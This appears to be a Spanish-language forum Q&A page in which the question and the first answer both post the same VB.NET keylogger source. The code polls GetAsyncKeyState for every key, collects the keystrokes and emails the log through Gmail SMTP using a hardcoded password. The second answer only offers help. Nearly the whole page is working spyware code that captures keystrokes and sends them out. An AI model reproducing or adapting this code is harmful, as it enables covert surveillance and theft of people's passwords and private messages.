Programa

Question

Imports

System.Web

Imports

System.IO

Imports

System.Net.Mail

Public

Class form1

Dim result As Integer

Private Declare Function GetAsynckeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form1_Load(ByVal Sender As System.Object, ByVal E As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 1 To 255

result = 0

result = GetAsynckeyState(i)

If result = 32767 Then

TextBox1.Text = TextBox1.Text + Chr(i)

End If

Next

End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

Dim Mail As New MailMessage

Dim SmtpServer As New SmtpClient

SmtpServer.Credentials =

New Net.NetworkCredential("[e-mail]", "chachocross85")

SmtpServer.Port = 587

SmtpServer.Host =

"Smtp.Gmail.com"

SmtpServer.EnableSsl =

True

SmtpServer.EnableSsl =

True

Mail.To.Add(

"[e-mail]")

Mail.From =

New MailAddress("[e-mail]")

Mail.Subject =

"Log del keylogger"

Mail.Body = TextBox1.Text

SmtpServer.Send(Mail)

End Sub

End

Class

Answer 1

Imports

System.Web

Imports

System.IO

Imports

System.Net.Mail

Public

Class form1

Dim result As Integer

Private Declare Function GetAsynckeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form1_Load(ByVal Sender As System.Object, ByVal E As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 1 To 255

result = 0

result = GetAsynckeyState(i)

If result = 32767 Then

TextBox1.Text = TextBox1.Text + Chr(i)

End If

Next

End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

Dim Mail As New MailMessage

Dim SmtpServer As New SmtpClient

SmtpServer.Credentials =

New Net.NetworkCredential("[e-mail]", "chachocross85")

SmtpServer.Port = 587

SmtpServer.Host =

"Smtp.Gmail.com"

SmtpServer.EnableSsl =

True

SmtpServer.EnableSsl =

True

Mail.To.Add(

"[e-mail]")

Mail.From =

New MailAddress("[e-mail]")

Mail.Subject =

"Log del keylogger"

Mail.Body = TextBox1.Text

SmtpServer.Send(Mail)

End Sub

End

Class

Answer 2

Quieres ayuda con algo????

---

Si mi respuesta te ha ayudado a resolver tus problemas, Selecciona "Me ha servido como ayuda"